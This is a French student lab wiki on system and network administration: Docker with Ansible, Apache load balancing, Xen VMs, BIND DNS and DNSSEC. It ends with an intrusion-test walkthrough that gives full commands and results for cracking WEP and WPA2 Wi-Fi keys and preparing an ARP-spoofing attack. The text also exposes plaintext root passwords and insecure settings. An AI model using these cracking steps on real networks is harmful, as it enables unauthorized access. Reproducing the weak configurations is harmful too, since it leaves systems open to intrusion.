         src: &amp;quot;/etc/motd&amp;quot;                                                                                                        &lt;br /&gt;
         dest: &amp;quot;/etc/motd&amp;quot;                                                                                                       &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce role s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de chassiron via la commande ssh root@192.168.42.5&lt;br /&gt;
&lt;br /&gt;
=== Installation de docker ===&lt;br /&gt;
&lt;br /&gt;
Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed&lt;br /&gt;
   apt:&lt;br /&gt;
        update_cache: yes&lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
        packages:&lt;br /&gt;
                - python3&lt;br /&gt;
                - python3-pip&lt;br /&gt;
&lt;br /&gt;
Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé notre playbook pour déployer nos commandes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webserver&lt;br /&gt;
   roles:&lt;br /&gt;
          - basic&lt;br /&gt;
          - geerlingguy.docker&lt;br /&gt;
   vars:&lt;br /&gt;
         docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
         docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Création de notre conteneur ===&lt;br /&gt;
&lt;br /&gt;
Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY . /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [&amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé l'image du Dockerfile :&lt;br /&gt;
 docker build -t web .&lt;br /&gt;
&lt;br /&gt;
Puis nous avons lancé notre container&lt;br /&gt;
 docker run -d -p &amp;quot;8085:80&amp;quot; --name web web&lt;br /&gt;
&lt;br /&gt;
Plusieurs commandes nous permettent de vérifier le bon fonctionnement : &lt;br /&gt;
 docker images (Affichage des différentes images docker installées)&lt;br /&gt;
 docker ps -a (Affichage des différents containeur en cours d'exécution)&lt;br /&gt;
&lt;br /&gt;
Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :&lt;br /&gt;
 curl 193.48.57.184:8085&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Après cela nous avons voulu push notre image &amp;quot;web&amp;quot; vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier &amp;quot;/etc/docker/&amp;quot; afin de ne pas utiliser une connexion sécurisée.&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
       &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.5:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier modifié nous avons pu utiliser les commandes :&lt;br /&gt;
 docker tag web 192.168.42.5:5000/webserver&lt;br /&gt;
 docker push 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
Puis coté chassiron : &lt;br /&gt;
 docker pull 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
=== Configuration de nos serveurs internes ===&lt;br /&gt;
&lt;br /&gt;
Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role &amp;quot;new_container&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
 - name: Create a container&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: amanite_container&lt;br /&gt;
          image: 192.168.42.5:5000/webserver_amanite&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;8085:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Ce role permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machine qui sont dans l'hote webservers.&lt;br /&gt;
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).&lt;br /&gt;
&lt;br /&gt;
Puis nous avons déployé notre container grâce à notre playbook :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webservers&lt;br /&gt;
   roles:&lt;br /&gt;
          - new_container&lt;br /&gt;
&lt;br /&gt;
=== Equilibreur de charge ===&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :&lt;br /&gt;
&lt;br /&gt;
 a2enmod proxy&lt;br /&gt;
 a2enmod proxy_http&lt;br /&gt;
 a2enmod proxy_balancer&lt;br /&gt;
 a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :&lt;br /&gt;
 reverse IN      CNAME   www&lt;br /&gt;
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zones pour DNSSEC ainsi que redémarrer le service bind9).&lt;br /&gt;
&lt;br /&gt;
Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;                                                                                                              &lt;br /&gt;
         ServerName reverse.amanite.site    &lt;br /&gt;
         ServerAdmin lolopierro                                                                                                                                                                                               &lt;br /&gt;
         ProxyPass / http://192.168.42.5:8085                                                                                      &lt;br /&gt;
         ProxyPassReverse / http://192.168.42.5:8085                                                                                                                                                                          &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.&lt;br /&gt;
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName reverse.amanite.site&lt;br /&gt;
         ServerAdmin lolopierro&lt;br /&gt;
         &amp;lt;Proxy &amp;quot;balancer://mycluster&amp;quot;&amp;gt;&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.5:8085&amp;quot; route=1&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.2:8085&amp;quot; route=2&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.4:8085&amp;quot; route=3&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.7:8085&amp;quot; route=4&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.9:8085&amp;quot; route=5&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.12:8085&amp;quot; route=6&lt;br /&gt;
                 ProxySet lbmethod=byrequests&lt;br /&gt;
         &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
         ProxyPass / balancer://mycluster/&lt;br /&gt;
         ProxyPassReverse / balancer://mycluster/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.&lt;br /&gt;
&lt;br /&gt;
Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :&lt;br /&gt;
&lt;br /&gt;
 a2enmod status&lt;br /&gt;
&lt;br /&gt;
Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Location &amp;quot;/server-status&amp;quot;&amp;gt;&lt;br /&gt;
          SetHanlder server-status&lt;br /&gt;
          Order Allow,Deny&lt;br /&gt;
          Allow from all&lt;br /&gt;
 &amp;lt;/Location&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55079</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55079"/>
				<updated>2020-12-20T14:58:57Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Création et configuration de la machine virtuelle */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
